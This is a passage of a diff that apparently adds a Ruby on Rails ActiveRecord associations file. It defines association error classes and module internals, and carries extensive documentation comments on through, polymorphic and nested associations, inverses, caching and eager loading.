+    def initialize(owner_class_name = nil, reflection = nil, source_reflection = nil)
+      if owner_class_name && reflection && source_reflection
+        super("Cannot have a has_many :through association '#{owner_class_name}##{reflection.name}' on the polymorphic object '#{source_reflection.class_name}##{source_reflection.name}' without 'source_type'. Try adding 'source_type: \"#{reflection.name.to_s.classify}\"' to 'has_many :through' definition.")
+      else
+        super("Cannot have a has_many :through association.")
+      end
+    end
+  end
+
+  class HasManyThroughAssociationPolymorphicThroughError < ActiveRecordError #:nodoc:
+    def initialize(owner_class_name = nil, reflection = nil)
+      if owner_class_name && reflection
+        super("Cannot have a has_many :through association '#{owner_class_name}##{reflection.name}' which goes through the polymorphic association '#{owner_class_name}##{reflection.through_reflection.name}'.")
+      else
+        super("Cannot have a has_many :through association.")
+      end
+    end
+  end
+
+  class HasManyThroughAssociationPointlessSourceTypeError < ActiveRecordError #:nodoc:
+    def initialize(owner_class_name = nil, reflection = nil, source_reflection = nil)
+      if owner_class_name && reflection && source_reflection
+        super("Cannot have a has_many :through association '#{owner_class_name}##{reflection.name}' with a :source_type option if the '#{reflection.through_reflection.class_name}##{source_reflection.name}' is not polymorphic. Try removing :source_type on your association.")
+      else
+        super("Cannot have a has_many :through association.")
+      end
+    end
+  end
+
+  class HasOneThroughCantAssociateThroughCollection < ActiveRecordError #:nodoc:
+    def initialize(owner_class_name = nil, reflection = nil, through_reflection = nil)
+      if owner_class_name && reflection && through_reflection
+        super("Cannot have a has_one :through association '#{owner_class_name}##{reflection.name}' where the :through association '#{owner_class_name}##{through_reflection.name}' is a collection. Specify a has_one or belongs_to association in the :through option instead.")
+      else
+        super("Cannot have a has_one :through association.")
+      end
+    end
+  end
+
+  class HasOneAssociationPolymorphicThroughError < ActiveRecordError #:nodoc:
+    def initialize(owner_class_name = nil, reflection = nil)
+      if owner_class_name && reflection
+        super("Cannot have a has_one :through association '#{owner_class_name}##{reflection.name}' which goes through the polymorphic association '#{owner_class_name}##{reflection.through_reflection.name}'.")
+      else
+        super("Cannot have a has_one :through association.")
+      end
+    end
+  end
+
+  class HasManyThroughSourceAssociationNotFoundError < ActiveRecordError #:nodoc:
+    def initialize(reflection = nil)
+      if reflection
+        through_reflection      = reflection.through_reflection
+        source_reflection_names = reflection.source_reflection_names
+        source_associations     = reflection.through_reflection.klass._reflections.keys
+        super("Could not find the source association(s) #{source_reflection_names.collect(&:inspect).to_sentence(two_words_connector: ' or ', last_word_connector: ', or ', locale: :en)} in model #{through_reflection.klass}. Try 'has_many #{reflection.name.inspect}, :through => #{through_reflection.name.inspect}, :source => <name>'. Is it one of #{source_associations.to_sentence(two_words_connector: ' or ', last_word_connector: ', or ', locale: :en)}?")
+      else
+        super("Could not find the source association(s).")
+      end
+    end
+  end
+
+  class HasManyThroughOrderError < ActiveRecordError #:nodoc:
+    def initialize(owner_class_name = nil, reflection = nil, through_reflection = nil)
+      if owner_class_name && reflection && through_reflection
+        super("Cannot have a has_many :through association '#{owner_class_name}##{reflection.name}' which goes through '#{owner_class_name}##{through_reflection.name}' before the through association is defined.")
+      else
+        super("Cannot have a has_many :through association before the through association is defined.")
+      end
+    end
+  end
+
+  class ThroughCantAssociateThroughHasOneOrManyReflection < ActiveRecordError #:nodoc:
+    def initialize(owner = nil, reflection = nil)
+      if owner && reflection
+        super("Cannot modify association '#{owner.class.name}##{reflection.name}' because the source reflection class '#{reflection.source_reflection.class_name}' is associated to '#{reflection.through_reflection.class_name}' via :#{reflection.source_reflection.macro}.")
+      else
+        super("Cannot modify association.")
+      end
+    end
+  end
+
+  class AmbiguousSourceReflectionForThroughAssociation < ActiveRecordError # :nodoc:
+    def initialize(klass, macro, association_name, options, possible_sources)
+      example_options = options.dup
+      example_options[:source] = possible_sources.first
+
+      super("Ambiguous source reflection for through association. Please " \
+            "specify a :source directive on your declaration like:\n" \
+            "\n" \
+            "  class #{klass} < ActiveRecord::Base\n" \
+            "    #{macro} :#{association_name}, #{example_options}\n" \
+            "  end"
+           )
+    end
+  end
+
+  class HasManyThroughCantAssociateThroughHasOneOrManyReflection < ThroughCantAssociateThroughHasOneOrManyReflection #:nodoc:
+  end
+
+  class HasOneThroughCantAssociateThroughHasOneOrManyReflection < ThroughCantAssociateThroughHasOneOrManyReflection #:nodoc:
+  end
+
+  class HasManyThroughCantAssociateNewRecords < ActiveRecordError #:nodoc:
+    def initialize(owner = nil, reflection = nil)
+      if owner && reflection
+        super("Cannot associate new records through '#{owner.class.name}##{reflection.name}' on '#{reflection.source_reflection.class_name rescue nil}##{reflection.source_reflection.name rescue nil}'. Both records must have an id in order to create the has_many :through record associating them.")
+      else
+        super("Cannot associate new records.")
+      end
+    end
+  end
+
+  class HasManyThroughCantDissociateNewRecords < ActiveRecordError #:nodoc:
+    def initialize(owner = nil, reflection = nil)
+      if owner && reflection
+        super("Cannot dissociate new records through '#{owner.class.name}##{reflection.name}' on '#{reflection.source_reflection.class_name rescue nil}##{reflection.source_reflection.name rescue nil}'. Both records must have an id in order to delete the has_many :through record associating them.")
+      else
+        super("Cannot dissociate new records.")
+      end
+    end
+  end
+
+  class ThroughNestedAssociationsAreReadonly < ActiveRecordError #:nodoc:
+    def initialize(owner = nil, reflection = nil)
+      if owner && reflection
+        super("Cannot modify association '#{owner.class.name}##{reflection.name}' because it goes through more than one other association.")
+      else
+        super("Through nested associations are read-only.")
+      end
+    end
+  end
+
+  class HasManyThroughNestedAssociationsAreReadonly < ThroughNestedAssociationsAreReadonly #:nodoc:
+  end
+
+  class HasOneThroughNestedAssociationsAreReadonly < ThroughNestedAssociationsAreReadonly #:nodoc:
+  end
+
+  # This error is raised when trying to eager load a polymorphic association using a JOIN.
+  # Eager loading polymorphic associations is only possible with
+  # {ActiveRecord::Relation#preload}[rdoc-ref:QueryMethods#preload].
+  class EagerLoadPolymorphicError < ActiveRecordError
+    def initialize(reflection = nil)
+      if reflection
+        super("Cannot eagerly load the polymorphic association #{reflection.name.inspect}")
+      else
+        super("Eager load polymorphic error.")
+      end
+    end
+  end
+
+  class ReadOnlyAssociation < ActiveRecordError #:nodoc:
+    def initialize(reflection = nil)
+      if reflection
+        super("Cannot add to a has_many :through association. Try adding to #{reflection.through_reflection.name.inspect}.")
+      else
+        super("Read-only reflection error.")
+      end
+    end
+  end
+
+  # This error is raised when trying to destroy a parent instance in N:1 or 1:1 associations
+  # (has_many, has_one) when there is at least 1 child associated instance.
+  # ex: if @project.tasks.size > 0, DeleteRestrictionError will be raised when trying to destroy @project
+  class DeleteRestrictionError < ActiveRecordError #:nodoc:
+    def initialize(name = nil)
+      if name
+        super("Cannot delete record because of dependent #{name}")
+      else
+        super("Delete restriction error.")
+      end
+    end
+  end
+
+  # See ActiveRecord::Associations::ClassMethods for documentation.
+  module Associations # :nodoc:
+    extend ActiveSupport::Autoload
+    extend ActiveSupport::Concern
+
+    # These classes will be loaded when associations are created.
+    # So there is no need to eager load them.
+    autoload :Association
+    autoload :SingularAssociation
+    autoload :CollectionAssociation
+    autoload :ForeignAssociation
+    autoload :CollectionProxy
+    autoload :ThroughAssociation
+
+    module Builder #:nodoc:
+      autoload :Association,           "active_record/associations/builder/association"
+      autoload :SingularAssociation,   "active_record/associations/builder/singular_association"
+      autoload :CollectionAssociation, "active_record/associations/builder/collection_association"
+
+      autoload :BelongsTo,           "active_record/associations/builder/belongs_to"
+      autoload :HasOne,              "active_record/associations/builder/has_one"
+      autoload :HasMany,             "active_record/associations/builder/has_many"
+      autoload :HasAndBelongsToMany, "active_record/associations/builder/has_and_belongs_to_many"
+    end
+
+    eager_autoload do
+      autoload :BelongsToAssociation
+      autoload :BelongsToPolymorphicAssociation
+      autoload :HasManyAssociation
+      autoload :HasManyThroughAssociation
+      autoload :HasOneAssociation
+      autoload :HasOneThroughAssociation
+
+      autoload :Preloader
+      autoload :JoinDependency
+      autoload :AssociationScope
+      autoload :AliasTracker
+    end
+
+    def self.eager_load!
+      super
+      Preloader.eager_load!
+    end
+
+    # Returns the association instance for the given name, instantiating it if it doesn't already exist
+    def association(name) #:nodoc:
+      association = association_instance_get(name)
+
+      if association.nil?
+        unless reflection = self.class._reflect_on_association(name)
+          raise AssociationNotFoundError.new(self, name)
+        end
+        association = reflection.association_class.new(self, reflection)
+        association_instance_set(name, association)
+      end
+
+      association
+    end
+
+    def association_cached?(name) # :nodoc
+      @association_cache.key?(name)
+    end
+
+    def initialize_dup(*) # :nodoc:
+      @association_cache = {}
+      super
+    end
+
+    def reload(*) # :nodoc:
+      clear_association_cache
+      super
+    end
+
+    private
+      # Clears out the association cache.
+      def clear_association_cache
+        @association_cache.clear if persisted?
+      end
+
+      def init_internals
+        @association_cache = {}
+        super
+      end
+
+      # Returns the specified association instance if it exists, +nil+ otherwise.
+      def association_instance_get(name)
+        @association_cache[name]
+      end
+
+      # Set the specified association instance.
+      def association_instance_set(name, association)
+        @association_cache[name] = association
+      end
+
+      # \Associations are a set of macro-like class methods for tying objects together through
+      # foreign keys. They express relationships like "Project has one Project Manager"
+      # or "Project belongs to a Portfolio". Each macro adds a number of methods to the
+      # class which are specialized according to the collection or association symbol and the
+      # options hash. It works much the same way as Ruby's own <tt>attr*</tt>
+      # methods.
+      #
+      #   class Project < ActiveRecord::Base
+      #     belongs_to              :portfolio
+      #     has_one                 :project_manager
+      #     has_many                :milestones
+      #     has_and_belongs_to_many :categories
+      #   end
+      #
+      # The project class now has the following methods (and more) to ease the traversal and
+      # manipulation of its relationships:
+      # * <tt>Project#portfolio, Project#portfolio=(portfolio), Project#portfolio.nil?</tt>
+      # * <tt>Project#project_manager, Project#project_manager=(project_manager), Project#project_manager.nil?,</tt>
+      # * <tt>Project#milestones.empty?, Project#milestones.size, Project#milestones, Project#milestones<<(milestone),</tt>
+      #   <tt>Project#milestones.delete(milestone), Project#milestones.destroy(milestone), Project#milestones.find(milestone_id),</tt>
+      #   <tt>Project#milestones.build, Project#milestones.create</tt>
+      # * <tt>Project#categories.empty?, Project#categories.size, Project#categories, Project#categories<<(category1),</tt>
+      #   <tt>Project#categories.delete(category1), Project#categories.destroy(category1)</tt>
+      #
+      # === A word of warning
+      #
+      # Don't create associations that have the same name as {instance methods}[rdoc-ref:ActiveRecord::Core] of
+      # <tt>ActiveRecord::Base</tt>. Since the association adds a method with that name to
+      # its model, using an association with the same name as one provided by <tt>ActiveRecord::Base</tt> will override the method inherited through <tt>ActiveRecord::Base</tt> and will break things.
+      # For instance, +attributes+ and +connection+ would be bad choices for association names, because those names already exist in the list of <tt>ActiveRecord::Base</tt> instance methods.
+      #
+      # == Auto-generated methods
+      # See also Instance Public methods below for more details.
+      #
+      # === Singular associations (one-to-one)
+      #                                     |            |  belongs_to  |
+      #   generated methods                 | belongs_to | :polymorphic | has_one
+      #   ----------------------------------+------------+--------------+---------
+      #   other                             |     X      |      X       |    X
+      #   other=(other)                     |     X      |      X       |    X
+      #   build_other(attributes={})        |     X      |              |    X
+      #   create_other(attributes={})       |     X      |              |    X
+      #   create_other!(attributes={})      |     X      |              |    X
+      #
+      # === Collection associations (one-to-many / many-to-many)
+      #                                     |       |          | has_many
+      #   generated methods                 | habtm | has_many | :through
+      #   ----------------------------------+-------+----------+----------
+      #   others                            |   X   |    X     |    X
+      #   others=(other,other,...)          |   X   |    X     |    X
+      #   other_ids                         |   X   |    X     |    X
+      #   other_ids=(id,id,...)             |   X   |    X     |    X
+      #   others<<                          |   X   |    X     |    X
+      #   others.push                       |   X   |    X     |    X
+      #   others.concat                     |   X   |    X     |    X
+      #   others.build(attributes={})       |   X   |    X     |    X
+      #   others.create(attributes={})      |   X   |    X     |    X
+      #   others.create!(attributes={})     |   X   |    X     |    X
+      #   others.size                       |   X   |    X     |    X
+      #   others.length                     |   X   |    X     |    X
+      #   others.count                      |   X   |    X     |    X
+      #   others.sum(*args)                 |   X   |    X     |    X
+      #   others.empty?                     |   X   |    X     |    X
+      #   others.clear                      |   X   |    X     |    X
+      #   others.delete(other,other,...)    |   X   |    X     |    X
+      #   others.delete_all                 |   X   |    X     |    X
+      #   others.destroy(other,other,...)   |   X   |    X     |    X
+      #   others.destroy_all                |   X   |    X     |    X
+      #   others.find(*args)                |   X   |    X     |    X
+      #   others.exists?                    |   X   |    X     |    X
+      #   others.distinct                   |   X   |    X     |    X
+      #   others.reset                      |   X   |    X     |    X
+      #
+      # === Overriding generated methods
+      #
+      # Association methods are generated in a module included into the model
+      # class, making overrides easy. The original generated method can thus be
+      # called with +super+:
+      #
+      #   class Car < ActiveRecord::Base
+      #     belongs_to :owner
+      #     belongs_to :old_owner
+      #
+      #     def owner=(new_owner)
+      #       self.old_owner = self.owner
+      #       super
+      #     end
+      #   end
+      #
+      # The association methods module is included immediately after the
+      # generated attributes methods module, meaning an association will
+      # override the methods for an attribute with the same name.
+      #
+      # == Cardinality and associations
+      #
+      # Active Record associations can be used to describe one-to-one, one-to-many and many-to-many
+      # relationships between models. Each model uses an association to describe its role in
+      # the relation. The #belongs_to association is always used in the model that has
+      # the foreign key.
+      #
+      # === One-to-one
+      #
+      # Use #has_one in the base, and #belongs_to in the associated model.
+      #
+      #   class Employee < ActiveRecord::Base
+      #     has_one :office
+      #   end
+      #   class Office < ActiveRecord::Base
+      #     belongs_to :employee    # foreign key - employee_id
+      #   end
+      #
+      # === One-to-many
+      #
+      # Use #has_many in the base, and #belongs_to in the associated model.
+      #
+      #   class Manager < ActiveRecord::Base
+      #     has_many :employees
+      #   end
+      #   class Employee < ActiveRecord::Base
+      #     belongs_to :manager     # foreign key - manager_id
+      #   end
+      #
+      # === Many-to-many
+      #
+      # There are two ways to build a many-to-many relationship.
+      #
+      # The first way uses a #has_many association with the <tt>:through</tt> option and a join model, so
+      # there are two stages of associations.
+      #
+      #   class Assignment < ActiveRecord::Base
+      #     belongs_to :programmer  # foreign key - programmer_id
+      #     belongs_to :project     # foreign key - project_id
+      #   end
+      #   class Programmer < ActiveRecord::Base
+      #     has_many :assignments
+      #     has_many :projects, through: :assignments
+      #   end
+      #   class Project < ActiveRecord::Base
+      #     has_many :assignments
+      #     has_many :programmers, through: :assignments
+      #   end
+      #
+      # For the second way, use #has_and_belongs_to_many in both models. This requires a join table
+      # that has no corresponding model or primary key.
+      #
+      #   class Programmer < ActiveRecord::Base
+      #     has_and_belongs_to_many :projects       # foreign keys in the join table
+      #   end
+      #   class Project < ActiveRecord::Base
+      #     has_and_belongs_to_many :programmers    # foreign keys in the join table
+      #   end
+      #
+      # Choosing which way to build a many-to-many relationship is not always simple.
+      # If you need to work with the relationship model as its own entity,
+      # use #has_many <tt>:through</tt>. Use #has_and_belongs_to_many when working with legacy schemas or when
+      # you never work directly with the relationship itself.
+      #
+      # == Is it a #belongs_to or #has_one association?
+      #
+      # Both express a 1-1 relationship. The difference is mostly where to place the foreign
+      # key, which goes on the table for the class declaring the #belongs_to relationship.
+      #
+      #   class User < ActiveRecord::Base
+      #     # I reference an account.
+      #     belongs_to :account
+      #   end
+      #
+      #   class Account < ActiveRecord::Base
+      #     # One user references me.
+      #     has_one :user
+      #   end
+      #
+      # The tables for these classes could look something like:
+      #
+      #   CREATE TABLE users (
+      #     id int NOT NULL auto_increment,
+      #     account_id int default NULL,
+      #     name varchar default NULL,
+      #     PRIMARY KEY  (id)
+      #   )
+      #
+      #   CREATE TABLE accounts (
+      #     id int NOT NULL auto_increment,
+      #     name varchar default NULL,
+      #     PRIMARY KEY  (id)
+      #   )
+      #
+      # == Unsaved objects and associations
+      #
+      # You can manipulate objects and associations before they are saved to the database, but
+      # there is some special behavior you should be aware of, mostly involving the saving of
+      # associated objects.
+      #
+      # You can set the <tt>:autosave</tt> option on a #has_one, #belongs_to,
+      # #has_many, or #has_and_belongs_to_many association. Setting it
+      # to +true+ will _always_ save the members, whereas setting it to +false+ will
+      # _never_ save the members. More details about <tt>:autosave</tt> option is available at
+      # AutosaveAssociation.
+      #
+      # === One-to-one associations
+      #
+      # * Assigning an object to a #has_one association automatically saves that object and
+      #   the object being replaced (if there is one), in order to update their foreign
+      #   keys - except if the parent object is unsaved (<tt>new_record? == true</tt>).
+      # * If either of these saves fail (due to one of the objects being invalid), an
+      #   ActiveRecord::RecordNotSaved exception is raised and the assignment is
+      #   cancelled.
+      # * If you wish to assign an object to a #has_one association without saving it,
+      #   use the <tt>#build_association</tt> method (documented below). The object being
+      #   replaced will still be saved to update its foreign key.
+      # * Assigning an object to a #belongs_to association does not save the object, since
+      #   the foreign key field belongs on the parent. It does not save the parent either.
+      #
+      # === Collections
+      #
+      # * Adding an object to a collection (#has_many or #has_and_belongs_to_many) automatically
+      #   saves that object, except if the parent object (the owner of the collection) is not yet
+      #   stored in the database.
+      # * If saving any of the objects being added to a collection (via <tt>push</tt> or similar)
+      #   fails, then <tt>push</tt> returns +false+.
+      # * If saving fails while replacing the collection (via <tt>association=</tt>), an
+      #   ActiveRecord::RecordNotSaved exception is raised and the assignment is
+      #   cancelled.
+      # * You can add an object to a collection without automatically saving it by using the
+      #   <tt>collection.build</tt> method (documented below).
+      # * All unsaved (<tt>new_record? == true</tt>) members of the collection are automatically
+      #   saved when the parent is saved.
+      #
+      # == Customizing the query
+      #
+      # \Associations are built from <tt>Relation</tt> objects, and you can use the Relation syntax
+      # to customize them. For example, to add a condition:
+      #
+      #   class Blog < ActiveRecord::Base
+      #     has_many :published_posts, -> { where(published: true) }, class_name: 'Post'
+      #   end
+      #
+      # Inside the <tt>-> { ... }</tt> block you can use all of the usual Relation methods.
+      #
+      # === Accessing the owner object
+      #
+      # Sometimes it is useful to have access to the owner object when building the query. The owner
+      # is passed as a parameter to the block. For example, the following association would find all
+      # events that occur on the user's birthday:
+      #
+      #   class User < ActiveRecord::Base
+      #     has_many :birthday_events, ->(user) { where(starts_on: user.birthday) }, class_name: 'Event'
+      #   end
+      #
+      # Note: Joining, eager loading and preloading of these associations is not fully possible.
+      # These operations happen before instance creation and the scope will be called with a +nil+ argument.
+      # This can lead to unexpected behavior and is deprecated.
+      #
+      # == Association callbacks
+      #
+      # Similar to the normal callbacks that hook into the life cycle of an Active Record object,
+      # you can also define callbacks that get triggered when you add an object to or remove an
+      # object from an association collection.
+      #
+      #   class Project
+      #     has_and_belongs_to_many :developers, after_add: :evaluate_velocity
+      #
+      #     def evaluate_velocity(developer)
+      #       ...
+      #     end
+      #   end
+      #
+      # It's possible to stack callbacks by passing them as an array. Example:
+      #
+      #   class Project
+      #     has_and_belongs_to_many :developers,
+      #                             after_add: [:evaluate_velocity, Proc.new { |p, d| p.shipping_date = Time.now}]
+      #   end
+      #
+      # Possible callbacks are: +before_add+, +after_add+, +before_remove+ and +after_remove+.
+      #
+      # If any of the +before_add+ callbacks throw an exception, the object will not be
+      # added to the collection.
+      #
+      # Similarly, if any of the +before_remove+ callbacks throw an exception, the object
+      # will not be removed from the collection.
+      #
+      # == Association extensions
+      #
+      # The proxy objects that control the access to associations can be extended through anonymous
+      # modules. This is especially beneficial for adding new finders, creators, and other
+      # factory-type methods that are only used as part of this association.
+      #
+      #   class Account < ActiveRecord::Base
+      #     has_many :people do
+      #       def find_or_create_by_name(name)
+      #         first_name, last_name = name.split(" ", 2)
+      #         find_or_create_by(first_name: first_name, last_name: last_name)
+      #       end
+      #     end
+      #   end
+      #
+      #   person = Account.first.people.find_or_create_by_name("David Heinemeier Hansson")
+      #   person.first_name # => "David"
+      #   person.last_name  # => "Heinemeier Hansson"
+      #
+      # If you need to share the same extensions between many associations, you can use a named
+      # extension module.
+      #
+      #   module FindOrCreateByNameExtension
+      #     def find_or_create_by_name(name)
+      #       first_name, last_name = name.split(" ", 2)
+      #       find_or_create_by(first_name: first_name, last_name: last_name)
+      #     end
+      #   end
+      #
+      #   class Account < ActiveRecord::Base
+      #     has_many :people, -> { extending FindOrCreateByNameExtension }
+      #   end
+      #
+      #   class Company < ActiveRecord::Base
+      #     has_many :people, -> { extending FindOrCreateByNameExtension }
+      #   end
+      #
+      # Some extensions can only be made to work with knowledge of the association's internals.
+      # Extensions can access relevant state using the following methods (where +items+ is the
+      # name of the association):
+      #
+      # * <tt>record.association(:items).owner</tt> - Returns the object the association is part of.
+      # * <tt>record.association(:items).reflection</tt> - Returns the reflection object that describes the association.
+      # * <tt>record.association(:items).target</tt> - Returns the associated object for #belongs_to and #has_one, or
+      #   the collection of associated objects for #has_many and #has_and_belongs_to_many.
+      #
+      # However, inside the actual extension code, you will not have access to the <tt>record</tt> as
+      # above. In this case, you can access <tt>proxy_association</tt>. For example,
+      # <tt>record.association(:items)</tt> and <tt>record.items.proxy_association</tt> will return
+      # the same object, allowing you to make calls like <tt>proxy_association.owner</tt> inside
+      # association extensions.
+      #
+      # == Association Join Models
+      #
+      # Has Many associations can be configured with the <tt>:through</tt> option to use an
+      # explicit join model to retrieve the data. This operates similarly to a
+      # #has_and_belongs_to_many association. The advantage is that you're able to add validations,
+      # callbacks, and extra attributes on the join model. Consider the following schema:
+      #
+      #   class Author < ActiveRecord::Base
+      #     has_many :authorships
+      #     has_many :books, through: :authorships
+      #   end
+      #
+      #   class Authorship < ActiveRecord::Base
+      #     belongs_to :author
+      #     belongs_to :book
+      #   end
+      #
+      #   @author = Author.first
+      #   @author.authorships.collect { |a| a.book } # selects all books that the author's authorships belong to
+      #   @author.books                              # selects all books by using the Authorship join model
+      #
+      # You can also go through a #has_many association on the join model:
+      #
+      #   class Firm < ActiveRecord::Base
+      #     has_many   :clients
+      #     has_many   :invoices, through: :clients
+      #   end
+      #
+      #   class Client < ActiveRecord::Base
+      #     belongs_to :firm
+      #     has_many   :invoices
+      #   end
+      #
+      #   class Invoice < ActiveRecord::Base
+      #     belongs_to :client
+      #   end
+      #
+      #   @firm = Firm.first
+      #   @firm.clients.flat_map { |c| c.invoices } # select all invoices for all clients of the firm
+      #   @firm.invoices                            # selects all invoices by going through the Client join model
+      #
+      # Similarly you can go through a #has_one association on the join model:
+      #
+      #   class Group < ActiveRecord::Base
+      #     has_many   :users
+      #     has_many   :avatars, through: :users
+      #   end
+      #
+      #   class User < ActiveRecord::Base
+      #     belongs_to :group
+      #     has_one    :avatar
+      #   end
+      #
+      #   class Avatar < ActiveRecord::Base
+      #     belongs_to :user
+      #   end
+      #
+      #   @group = Group.first
+      #   @group.users.collect { |u| u.avatar }.compact # select all avatars for all users in the group
+      #   @group.avatars                                # selects all avatars by going through the User join model.
+      #
+      # An important caveat with going through #has_one or #has_many associations on the
+      # join model is that these associations are *read-only*. For example, the following
+      # would not work following the previous example:
+      #
+      #   @group.avatars << Avatar.new   # this would work if User belonged_to Avatar rather than the other way around
+      #   @group.avatars.delete(@group.avatars.last)  # so would this
+      #
+      # == Setting Inverses
+      #
+      # If you are using a #belongs_to on the join model, it is a good idea to set the
+      # <tt>:inverse_of</tt> option on the #belongs_to, which will mean that the following example
+      # works correctly (where <tt>tags</tt> is a #has_many <tt>:through</tt> association):
+      #
+      #   @post = Post.first
+      #   @tag = @post.tags.build name: "ruby"
+      #   @tag.save
+      #
+      # The last line ought to save the through record (a <tt>Tagging</tt>). This will only work if the
+      # <tt>:inverse_of</tt> is set:
+      #
+      #   class Tagging < ActiveRecord::Base
+      #     belongs_to :post
+      #     belongs_to :tag, inverse_of: :taggings
+      #   end
+      #
+      # If you do not set the <tt>:inverse_of</tt> record, the association will
+      # do its best to match itself up with the correct inverse. Automatic
+      # inverse detection only works on #has_many, #has_one, and
+      # #belongs_to associations.
+      #
+      # Extra options on the associations, as defined in the
+      # <tt>AssociationReflection::INVALID_AUTOMATIC_INVERSE_OPTIONS</tt> constant, will
+      # also prevent the association's inverse from being found automatically.
+      #
+      # The automatic guessing of the inverse association uses a heuristic based
+      # on the name of the class, so it may not work for all associations,
+      # especially the ones with non-standard names.
+      #
+      # You can turn off the automatic detection of inverse associations by setting
+      # the <tt>:inverse_of</tt> option to <tt>false</tt> like so:
+      #
+      #   class Tagging < ActiveRecord::Base
+      #     belongs_to :tag, inverse_of: false
+      #   end
+      #
+      # == Nested \Associations
+      #
+      # You can actually specify *any* association with the <tt>:through</tt> option, including an
+      # association which has a <tt>:through</tt> option itself. For example:
+      #
+      #   class Author < ActiveRecord::Base
+      #     has_many :posts
+      #     has_many :comments, through: :posts
+      #     has_many :commenters, through: :comments
+      #   end
+      #
+      #   class Post < ActiveRecord::Base
+      #     has_many :comments
+      #   end
+      #
+      #   class Comment < ActiveRecord::Base
+      #     belongs_to :commenter
+      #   end
+      #
+      #   @author = Author.first
+      #   @author.commenters # => People who commented on posts written by the author
+      #
+      # An equivalent way of setting up this association this would be:
+      #
+      #   class Author < ActiveRecord::Base
+      #     has_many :posts
+      #     has_many :commenters, through: :posts
+      #   end
+      #
+      #   class Post < ActiveRecord::Base
+      #     has_many :comments
+      #     has_many :commenters, through: :comments
+      #   end
+      #
+      #   class Comment < ActiveRecord::Base
+      #     belongs_to :commenter
+      #   end
+      #
+      # When using a nested association, you will not be able to modify the association because there
+      # is not enough information to know what modification to make. For example, if you tried to
+      # add a <tt>Commenter</tt> in the example above, there would be no way to tell how to set up the
+      # intermediate <tt>Post</tt> and <tt>Comment</tt> objects.
+      #
+      # == Polymorphic \Associations
+      #
+      # Polymorphic associations on models are not restricted on what types of models they
+      # can be associated with. Rather, they specify an interface that a #has_many association
+      # must adhere to.
+      #
+      #   class Asset < ActiveRecord::Base
+      #     belongs_to :attachable, polymorphic: true
+      #   end
+      #
+      #   class Post < ActiveRecord::Base
+      #     has_many :assets, as: :attachable         # The :as option specifies the polymorphic interface to use.
+      #   end
+      #
+      #   @asset.attachable = @post
+      #
+      # This works by using a type column in addition to a foreign key to specify the associated
+      # record. In the Asset example, you'd need an +attachable_id+ integer column and an
+      # +attachable_type+ string column.
+      #
+      # Using polymorphic associations in combination with single table inheritance (STI) is
+      # a little tricky. In order for the associations to work as expected, ensure that you
+      # store the base model for the STI models in the type column of the polymorphic
+      # association. To continue with the asset example above, suppose there are guest posts
+      # and member posts that use the posts table for STI. In this case, there must be a +type+
+      # column in the posts table.
+      #
+      # Note: The <tt>attachable_type=</tt> method is being called when assigning an +attachable+.
+      # The +class_name+ of the +attachable+ is passed as a String.
+      #
+      #   class Asset < ActiveRecord::Base
+      #     belongs_to :attachable, polymorphic: true
+      #
+      #     def attachable_type=(class_name)
+      #        super(class_name.constantize.base_class.to_s)
+      #     end
+      #   end
+      #
+      #   class Post < ActiveRecord::Base
+      #     # because we store "Post" in attachable_type now dependent: :destroy will work
+      #     has_many :assets, as: :attachable, dependent: :destroy
+      #   end
+      #
+      #   class GuestPost < Post
+      #   end
+      #
+      #   class MemberPost < Post
+      #   end
+      #
+      # == Caching
+      #
+      # All of the methods are built on a simple caching principle that will keep the result
+      # of the last query around unless specifically instructed not to. The cache is even
+      # shared across methods to make it even cheaper to use the macro-added methods without
+      # worrying too much about performance at the first go.
+      #
+      #   project.milestones             # fetches milestones from the database
+      #   project.milestones.size        # uses the milestone cache
+      #   project.milestones.empty?      # uses the milestone cache
+      #   project.milestones(true).size  # fetches milestones from the database
+      #   project.milestones             # uses the milestone cache
+      #
+      # == Eager loading of associations
+      #
+      # Eager loading is a way to find objects of a certain class and a number of named associations.
+      # It is one of the easiest ways to prevent the dreaded N+1 problem in which fetching 100
+      # posts that each need to display their author triggers 101 database queries. Through the
+      # use of eager loading, the number of queries will be reduced from 101 to 2.
+      #
+      #   class Post < ActiveRecord::Base
+      #     belongs_to :author
+      #     has_many   :comments
+      #   end
+      #
+      # Consider the following loop using the class above:
+      #
+      #   Post.all.each do |post|
+      #     puts "Post:            " + post.title
+      #     puts "Written by:      " + post.author.name
+      #     puts "Last comment on: " + post.comments.first.created_on
+      #   end
+      #
+      # To iterate over these one hundred posts, we'll generate 201 database queries. Let's
+      # first just optimize it for retrieving the author:
+      #
+      #   Post.includes(:author).each do |post|
+      #
+      # This references the name of the #belongs_to association that also used the <tt>:author</tt>
+      # symbol. After loading the posts, +find+ will collect the +author_id+ from each one and load
+      # all of the referenced authors with one query. Doing so will cut down the number of queries
+      # from 201 to 102.
+      #
+      # We can improve upon the situation further by referencing both associations in the finder with:
+      #
+      #   Post.includes(:author, :comments).each do |post|
+      #
+      # This will load all comments with a single query. This reduces the total number of queries
+      # to 3. In general, the number of queries will be 1 plus the number of associations
+      # named (except if some of the associations are polymorphic #belongs_to - see below).
+      #
+      # To include a deep hierarchy of associations, use a hash:
+      #
+      #   Post.includes(:author, { comments: { author: :gravatar } }).each do |post|
+      #
+      # The above code will load all the comments and all of their associated
+      # authors and gravatars. You can mix and match any combination of symbols,
+      # arrays, and hashes to retrieve the associations you want to load.
+      #
+      # All of this power shouldn't fool you into thinking that you can pull out huge amounts
+      # of data with no performance penalty just because you've reduced the number of queries.
+      # The database still needs to send all the data to Active Record and it still needs to
+      # be processed. So it's no catch-all for performance problems, but it's a great way to
+      # cut down on the number of queries in a situation as the one described above.
+      #
+      # Since only one table is loaded at a time, conditions or orders cannot reference tables
+      # other than the main one. If this is the case, Active Record falls back to the previously
+      # used <tt>LEFT OUTER JOIN</tt> based strategy. For example:
+      #
+      #   Post.includes([:author, :comments]).where(['comments.approved = ?', true])
+      #
+      # This will result in a single SQL query with joins along the lines of:
+      # <tt>LEFT OUTER JOIN comments ON comments.post_id = posts.id</tt> and
+      # <tt>LEFT OUTER JOIN authors ON authors.id = posts.author_id</tt>. Note that using conditions
+      # like this can have unintended consequences.
+      # In the above example, posts with no approved comments are not returned at all because
+      # the conditions apply to the SQL statement as a whole and not just to the association.
+      #
+      # You must disambiguate column references for this fallback to happen, for example
+      # <tt>order: "author.name DESC"</tt> will work but <tt>order: "name DESC"</tt> will not.
+      #
+      # If you want to load all posts (including posts with no approved comments), then write
+      # your own <tt>LEFT OUTER JOIN</tt> query using <tt>ON</tt>:
+      #
